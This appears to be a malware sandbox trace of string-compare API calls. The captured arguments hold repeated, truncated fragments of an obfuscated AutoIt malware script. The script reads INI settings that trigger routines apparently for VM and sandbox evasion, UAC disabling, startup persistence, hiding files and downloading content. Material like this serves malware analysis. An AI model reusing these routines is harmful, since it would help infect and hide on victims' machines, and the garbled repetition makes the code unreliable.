$7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@S", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@Sc", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, 